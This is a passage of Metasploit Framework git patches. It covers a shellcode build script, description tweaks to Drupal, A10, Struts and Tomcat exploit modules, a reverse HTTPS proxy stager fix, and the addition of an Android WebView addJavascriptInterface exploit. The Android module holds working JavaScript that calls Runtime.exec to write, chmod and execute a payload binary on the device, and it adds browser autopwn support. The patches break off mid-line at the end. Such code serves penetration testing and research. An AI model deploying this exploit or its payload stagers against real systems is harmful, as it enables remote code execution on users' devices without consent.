), length ): - bytes = data[ i : i+length ] - hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) - if i+length <= len(data): - hex += " +" - dump += "%s\n" % ( hex ) - print dump -#=============================================================================# -def xmit_offset( data, name, value ): - offset = data.find( value ); - if offset != -1: - print "# %s Offset: %d" % ( name, offset ) -#=============================================================================# -def xmit( name, dump_ruby=True ): - bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) - f = open( bin, 'rb') - data = f.read() - print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) - xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 - xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444 - xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1 - xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address - xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID - xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler - xmit_offset( data, "RetryCounter", "\x6a\x05" ) # socket retry - xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler - xmit_offset( data, "Hostname", "https" ) - xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread - xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess - xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter - xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep - xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1 - xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2 - xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size - xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key - xmit_offset( data, "XORKey", "XORK") # XOR key - if( name.find( "egghunter" ) >= 0 ): - null_count = data.count( "\x00" ) - if( null_count > 0 ): - print "# Note: %d NULL bytes found." % ( null_count ) - if dump_ruby: - xmit_dump_ruby( data ) #=============================================================================# -def main( argv=None ): - if not argv: - argv = sys.argv - try: - if len( argv ) == 1: - print "Usage: build.py [clean|all|<name>]" - else: - print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) - if argv[1] == "clean": - clean() - elif argv[1] == "all": - for root, dirs, files in os.walk( "./src/egghunter/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/migrate/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/single/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stage/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stager/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/kernel/" ): - for name in files: - build( name[:-4] ) - else: - build( argv[1] ) - except Exception, e: - print "[-] ", e -#=============================================================================# -if __name__ == "__main__": - main() +# A simple python build script to build the singles/stages/stagers and +# some usefull information such as offsets and a hex dump. The binary output +# will be placed in the bin directory. A hex string and usefull comments will +# be printed to screen. +# +# Example: +# >python build.py stager_reverse_tcp_nx +# +# Example, to build everything: +# >python build.py all > build_output.txt +# +# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) #=============================================================================# +import os, sys, time +from subprocess import Popen +from struct import pack +#=============================================================================# +def clean( dir="./bin/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + os.remove( os.path.join( root, name ) ) +#=============================================================================# +def locate( src_file, dir="./src/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + if src_file == name: + return root + return None +#=============================================================================# +def build( name ): + location = locate( "%s.asm" % name ) + if location: + input = os.path.normpath( os.path.join( location, name ) ) + output = os.path.normpath( os.path.join( "./bin/", name ) ) + p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) + p.wait() + xmit( name ) + else: + print "[-] Unable to locate '%s.asm' in the src directory" % name + +#=============================================================================# +def xmit_dump_ruby( data, length=16 ): + dump = "" + for i in xrange( 0, len( data ), length ): + bytes = data[ i : i+length ] + hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) + if i+length <= len(data): + hex += " +" + dump += "%s\n" % ( hex ) + print dump + +#=============================================================================# +def xmit_offset( data, name, value, match_offset=0 ): + offset = data.find( value ); + if offset != -1: + print "# %s Offset: %d" % ( name, offset + match_offset ) + +#=============================================================================# +def xmit( name, dump_ruby=True ): + bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) + f = open( bin, 'rb') + data = f.read() + print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) + xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 + xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444 + xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1 + xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address + xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID + xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler + xmit_offset( data, "RetryCounter", "\x6a\x05", 1 ) # socket retry + xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler + xmit_offset( data, "Hostname", "https" ) + xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread + xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess + xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter + xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep + xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1 + xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2 + xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size + xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key + xmit_offset( data, "XORKey", "XORK") # XOR key + if( name.find( "egghunter" ) >= 0 ): + null_count = data.count( "\x00" ) + if( null_count > 0 ): + print "# Note: %d NULL bytes found." % ( null_count ) + if dump_ruby: + xmit_dump_ruby( data ) + +#=============================================================================# +def main( argv=None ): + if not argv: + argv = sys.argv + try: + if len( argv ) == 1: + print "Usage: build.py [clean|all|<name>]" + else: + print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) + if argv[1] == "clean": + clean() + elif argv[1] == "all": + for root, dirs, files in os.walk( "./src/egghunter/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/migrate/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/single/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stage/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stager/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/kernel/" ): + for name in files: + build( name[:-4] ) + else: + build( argv[1] ) + except Exception, e: + print "[-] ", e +#=============================================================================# +if __name__ == "__main__": + main() +#=============================================================================# From 9953821451e522313500241769b202b9d8c549f6 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 3 Feb 2014 12:16:06 -0600 Subject: [PATCH 161/246] Fix desc on Drupal module, some peer prints --- modules/auxiliary/gather/drupal_openid_xxe.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 470364421c..0f69e2fca2 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -17,10 +17,11 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Drupal OpenID External Entity Injection', 'Description' => %q{ - This module abuses a XML External Entity Injection on the OpenID module - from Drupal. The vulnerability exists on the parsing of a malformed XRDS - file coming from a malicious OpenID endpoint. This module has been tested - successfully in Drupal 7.15 and 7.2 with the OpenID module enabled. + This module abuses an XML External Entity Injection + vulnerability on the OpenID module from Drupal. The vulnerability exists + in the parsing of a malformed XRDS file coming from a malicious OpenID + endpoint. This module has been tested successfully on Drupal 7.15 and + 7.2 with the OpenID module enabled. }, 'License' => MSF_LICENSE, 'Author' => @@ -102,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary res = send_openid_auth(signature) unless res - vprint_status("Connection timed out") + vprint_status("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end @@ -157,12 +158,12 @@ class Metasploit3 < Msf::Auxiliary def on_request_uri(cli, request) if request.uri =~ /#{@prefix}/ - vprint_status("Signature found, parsing file...") + vprint_status("#{peer} - Signature found, parsing file...") @http_loot = parse_loot(request.uri) return end - print_status("Sending XRDS...") + print_status("#{peer} - Sending XRDS...") send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' }) end From ffd90a3d38433763f4280c98fc14742a7b96cc50 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 3 Feb 2014 12:40:58 -0600 Subject: [PATCH 162/246] Add confirmation datastore option --- .../http/a10networks_ax_directory_traversal.rb | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index 4b39b1508b..f12c77acc3 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -42,10 +42,19 @@ class Metasploit3 < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), OptString.new('FILE', [true, 'The file to obtain', '/a10data/key/mydomain.tld']), - OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) + OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]), + OptBool.new('CONFIRM', [true, 'Run the module, even when it will delete files', false]), ], self.class) end + def run + unless datastore['CONFIRM'] + print_error("This module will delete files on vulnerable systems. Please, set CONFIRM in order to run it.") + return + end + + super + end def run_host(ip) peer = "#{ip}:#{rport}" From d34020115ae3567d38c2bc99862227afceb499d4 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 3 Feb 2014 13:13:57 -0600 Subject: [PATCH 163/246] Fix up on apache descs and print_* methods --- modules/exploits/multi/http/struts_dev_mode.rb | 4 ++-- modules/exploits/multi/http/tomcat_mgr_upload.rb | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index 6bd7c2854f..cab5218aa2 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -13,13 +13,13 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Struts Developer Mode OGNL Execution', + 'Name' => 'Apache Struts 2 Developer Mode OGNL Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts 2. The problem exists on applications running in developer mode, where the DebuggingInterceptor allows evaluation and execution of OGNL expressions, which allows remote attackers to execute arbitrary Java - code. This module has been tested successfully in Struts 2.3.16, Tomcat + code. This module has been tested successfully on Struts 2.3.16, Tomcat 7 and Ubuntu 10.04. }, 'Author' => diff --git a/modules/exploits/multi/http/tomcat_mgr_upload.rb b/modules/exploits/multi/http/tomcat_mgr_upload.rb index 700f280cbb..5d24ce3b54 100644 --- a/modules/exploits/multi/http/tomcat_mgr_upload.rb +++ b/modules/exploits/multi/http/tomcat_mgr_upload.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution', + 'Name' => 'Apache Tomcat Manager Authenticated Upload Code Execution', 'Description' => %q{ This module can be used to execute a payload on Apache Tomcat servers that have an exposed "manager" application. The payload is uploaded as a WAR archive @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw('uri' => path) unless res and res.code == 200 - vprint_error("Failed: Error requesting #{path}") + vprint_error("#{peer} - Failed: Error requesting #{path}") return nil end @@ -372,7 +372,7 @@ class Metasploit3 < Msf::Exploit::Remote if res.code < 200 or res.code >= 300 vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401 - vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]") + vprint_error("#{peer} - Upload failed on #{upload_path} [#{res.code} #{res.message}]") return false end @@ -423,4 +423,4 @@ class Metasploit3 < Msf::Exploit::Remote return true end -end \ No newline at end of file +end From 7e2a9a70723ef51487f168578450d31b068012db Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 3 Feb 2014 13:18:34 -0600 Subject: [PATCH 164/246] More desc fixes, add a vprint to give a hint --- modules/exploits/unix/webapp/simple_e_document_upload_exec.rb | 2 +- modules/exploits/unix/webapp/skybluecanvas_exec.rb | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb index 59a13ca1d0..d6dc1e45b6 100644 --- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"") post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') - print_status("#{peer} - Uploading malicious file...") + print_status("#{peer} - Uploading PHP payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'upload.php'), diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb index 6a9f3d4db2..d6c3324dc1 100644 --- a/modules/exploits/unix/webapp/skybluecanvas_exec.rb +++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb @@ -76,6 +76,8 @@ class Metasploit3 < Msf::Exploit::Remote def exploit uri = normalize_uri(target_uri.path.to_s, "index.php") + vprint_status("#{peer} - Sending request to #{uri}.") + send_request_cgi({ 'method' => 'POST', 'uri' => uri, From f163bc7f7adf2ff8cfe729fb4a0aef87292d27ac Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Mon, 3 Feb 2014 15:07:59 -0600 Subject: [PATCH 165/246] Unbreak reverse_https_proxy Broken by #2448, 063da8a22e3db80dcef42168abe868e9aea102d1 --- .../stagers/windows/reverse_https_proxy.rb | 35 +++---------------- 1 file changed, 4 insertions(+), 31 deletions(-) diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 5c490fb7b7..72de85106c 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -100,7 +100,7 @@ module Metasploit3 p[proxyloc-4] = [calloffset].pack('V')[0] #Optional authentification - if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or + if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or (datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or datastore['PROXY_TYPE'] == 'SOCKS' @@ -110,7 +110,7 @@ module Metasploit3 else username_size_diff = 14 - datastore['PROXY_USERNAME'].length password_size_diff = 14 - datastore['PROXY_PASSWORD'].length - jmp_offset = 16 + #PROXY_AUTH_START length + jmp_offset = 16 + #PROXY_AUTH_START length 15 + #PROXY_AUTH_STOP length username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length" password_size_diff # same with PROXY_PASSWORD @@ -132,7 +132,7 @@ module Metasploit3 p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V") # patch the LPORT - lport = bind_port + lport = datastore['LPORT'] lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444 p[lportloc+1] = [lport.to_i].pack('V')[0] @@ -142,7 +142,7 @@ module Metasploit3 # append LHOST and return payload - lhost = bind_address + lhost = datastore['LHOST'] p + lhost.to_s + "\x00" end @@ -154,32 +154,5 @@ module Metasploit3 20 end -protected - - def bind_port - port = datastore['ReverseListenerBindPort'].to_i - port > 0 ? port : datastore['LPORT'].to_i - end - - def bind_address - # Switch to IPv6 ANY address if the LHOST is also IPv6 - addr = Rex::Socket.resolv_nbo(datastore['LHOST']) - # First attempt to bind LHOST. If that fails, the user probably has - # something else listening on that interface. Try again with ANY_ADDR. - any = (addr.length == 4) ? "0.0.0.0" : "::0" - - addrs = [ Rex::Socket.addr_ntoa(addr), any ] - - if not datastore['ReverseListenerBindAddress'].to_s.empty? - # Only try to bind to this specific interface - addrs = [ datastore['ReverseListenerBindAddress'] ] - - # Pick the right "any" address if either wildcard is used - addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") - end - - addrs - end - end From 177bd3555235ed15ab8bd38ade0ad3c126e5318b Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 01:37:09 -0600 Subject: [PATCH 166/246] Add webview HTTP exploit. --- .../browser/webview_addjavascriptinterface.rb | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 modules/exploits/android/browser/webview_addjavascriptinterface.rb diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb new file mode 100644 index 0000000000..b18b189166 --- /dev/null +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -0,0 +1,93 @@ +# ./sdk/tools/android and install Android 4.1.2 or below +# + +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +# require 'rex/proto/proxy/http' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Android < 4.2 WebView addJavascriptInterface MITM Code Execution', + 'Description' => %q{ + This module exploits an issue where MITM attackers can execute + arbitrary code on vulnerable Android devices. The issue is rooted in + the use of the addJavascriptInterface function, which exposes Java + Reflection to Javascript executing within a WebView instance. Many + Android ad networks are known to be affected. + + To use this module, the attacker must have some way to inject the html/js + served by metasploit into an affected Webview on the target device. There + are a number of ways to do this (DNS spoofing, rogue HTTP proxy, XSS injection, etc). + + Note: Adding a .js to the URL will return plain javascript (no HTML markup). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'jduck', # original msf module + 'joev' # static server + ], + 'References' => [ + ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], + ['URL', 'http://50.56.33.56/blog/?p=314'], + ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+ + 'addjavascriptinterface-remote-code-execution/'] + ], + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'DefaultOptions' => { 'PrependFork' => true }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => 'Dec 21 2012', + 'DefaultTarget' => 0 + )) + end + + def on_request_uri(cli, req) + if req.uri.end_with?('js') + print_status("Serving javascript") + send_response(cli, js, 'Content-type' => 'text/javascript') + else + print_status("Serving HTML") + send_response_html(cli, html) + end + end + + def js + %Q| + function exec(obj,i) { + // ensure that the object contains a native interface + try { obj.getClass().getName(); } catch(e) { return false; } + + // get the runtime so we can exec + var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); + var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; + + // get the process name, which will give us our data path + var p = m.invoke(null,null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); + var ch, path = '/data/data/'; + while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } + path += '/#{Rex::Text.rand_text_alpha(8)}'; + + // build the binary, chmod it, and execute it + m.invoke(null,null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); + m.invoke(null,null).exec(['chmod', '700', path]).waitFor(); + m.invoke(null,null).exec([path]).waitFor(); + + return true; + } + + for (i in window) { if (exec(window[i],i) === true) break; } + | + end + + def html + "<!doctype html><html><body><script>#{js}</script></body></html>" + end +end From eba3a5aab05d822f43dfb1aca59350817c8375b3 Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 01:44:39 -0600 Subject: [PATCH 167/246] More accurate description. --- .../android/browser/webview_addjavascriptinterface.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index b18b189166..a7c34f793d 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -1,13 +1,9 @@ -# ./sdk/tools/android and install Android 4.1.2 or below -# - ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -# require 'rex/proto/proxy/http' class Metasploit3 < Msf::Exploit::Remote @@ -27,6 +23,9 @@ class Metasploit3 < Msf::Exploit::Remote served by metasploit into an affected Webview on the target device. There are a number of ways to do this (DNS spoofing, rogue HTTP proxy, XSS injection, etc). + This module can also get a shell on some versions of the Android Browser for + Android < 4.2, where the vendor has added an addJavascriptInterface wrapper. + Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, 'License' => MSF_LICENSE, From 636d7016a892d944f05a5e6df19852af29d8524b Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 02:31:46 -0600 Subject: [PATCH 168/246] Fix android detection in os.js. --- data/js/detect/os.js | 3 +++ 1 file changed, 3 insertions(+) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index cf8269010f..2f3e5c5a67 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -184,6 +184,9 @@ window.os_detect.getVersion = function(){ } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; + if (navigator.userAgent.match(/android/i)) { + os_flavor = 'Android'; + } } } else if (platform.match(/windows/)) { os_name = oses_windows; From 37479884a5055c9b6f15c986024febea559de669 Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 02:32:12 -0600 Subject: [PATCH 169/246] Add browserautopwn support. --- .../browser/webview_addjavascriptinterface.rb | 28 +++++++++++++++---- 1 file changed, 22 insertions(+), 6 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index a7c34f793d..f2888ff21a 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -8,6 +8,22 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :os_flavor => "Android", + :arch => ARCH_ARMLE, + :javascript => true, + :rank => ExcellentRanking, + :vuln_test => %Q| + for (i in top) { + try { + top[i].getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); + is_vuln = true; break; + } catch(e) {} + } + | + }) def initialize(info = {}) super(update_info(info, @@ -17,13 +33,13 @@ class Metasploit3 < Msf::Exploit::Remote arbitrary code on vulnerable Android devices. The issue is rooted in the use of the addJavascriptInterface function, which exposes Java Reflection to Javascript executing within a WebView instance. Many - Android ad networks are known to be affected. + Android ad network integrations are known to be affected. To use this module, the attacker must have some way to inject the html/js served by metasploit into an affected Webview on the target device. There are a number of ways to do this (DNS spoofing, rogue HTTP proxy, XSS injection, etc). - This module can also get a shell on some versions of the Android Browser for + This module can also get a shell on some versions of the Browser app on Android < 4.2, where the vendor has added an addJavascriptInterface wrapper. Note: Adding a .js to the URL will return plain javascript (no HTML markup). @@ -60,9 +76,9 @@ class Metasploit3 < Msf::Exploit::Remote def js %Q| - function exec(obj,i) { + function exec(obj) { // ensure that the object contains a native interface - try { obj.getClass().getName(); } catch(e) { return false; } + try { obj.getClass().getName(); } catch(e) { return; } // get the runtime so we can exec var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); @@ -77,12 +93,12 @@ class Metasploit3 < Msf::Exploit::Remote // build the binary, chmod it, and execute it m.invoke(null,null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); m.invoke(null,null).exec(['chmod', '700', path]).waitFor(); - m.invoke(null,null).exec([path]).waitFor(); + m.invoke(null,null).exec([path]); return true; } - for (i in window) { if (exec(window[i],i) === true) break; } + for (i in top) { if (exec(top[i]) === true) break; } | end From 4923a9397465fdaec5b82e7971d99876befca31c Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 02:47:49 -0600 Subject: [PATCH 170/246] Tweak description. --- .../browser/webview_addjavascriptinterface.rb | 24 ++++++++++--------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index f2888ff21a..315379790a 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -27,20 +27,22 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Android < 4.2 WebView addJavascriptInterface MITM Code Execution', + 'Name' => 'Android < 4.2 Browser/WebView addJavascriptInterface Code Execution', 'Description' => %q{ - This module exploits an issue where MITM attackers can execute - arbitrary code on vulnerable Android devices. The issue is rooted in - the use of the addJavascriptInterface function, which exposes Java - Reflection to Javascript executing within a WebView instance. Many - Android ad network integrations are known to be affected. + This module exploits a privilege escalation issue that arises when untrusted + Javascript code is executed by an Android WebView component that has one or more + Interfaces added to it. The untrusted Javascript code can call into the Java Reflection + APIs exposed by the Interface and execute arbitrary commands. - To use this module, the attacker must have some way to inject the html/js - served by metasploit into an affected Webview on the target device. There - are a number of ways to do this (DNS spoofing, rogue HTTP proxy, XSS injection, etc). + Some distributions of the Android Browser app have an addJavascriptInterface + call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs + 4.1.2 release of Android is known to work. - This module can also get a shell on some versions of the Browser app on - Android < 4.2, where the vendor has added an addJavascriptInterface wrapper. + A secondary attack vector involves the WebViews embedded inside a large number + of Android applications. Ad integrations are perhaps the worst offender here. + If you can MITM the WebView's network connection, or can get a persistent XSS + into the page displayed in the WebView, then you can inject the html/js served + by this module and get a shell. Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, From eb6a5a4c19e1daddf28218e10ca22d720bb36f73 Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 02:49:07 -0600 Subject: [PATCH 171/246] Tweak checks. --- .../android/browser/webview_addjavascriptinterface.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 315379790a..dd11132c36 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote :vuln_test => %Q| for (i in top) { try { - top[i].getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); + top[i].getClass().forName('java.lang.Runtime'); is_vuln = true; break; } catch(e) {} } @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Android < 4.2 Browser/WebView addJavascriptInterface Code Execution', + 'Name' => 'Android < 4.2 Browser & WebView addJavascriptInterface Code Execution', 'Description' => %q{ This module exploits a privilege escalation issue that arises when untrusted Javascript code is executed by an Android WebView component that has one or more @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs - 4.1.2 release of Android is known to work. + 4.1.2 release of Android is known to be vulnerable. A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote %Q| function exec(obj) { // ensure that the object contains a native interface - try { obj.getClass().getName(); } 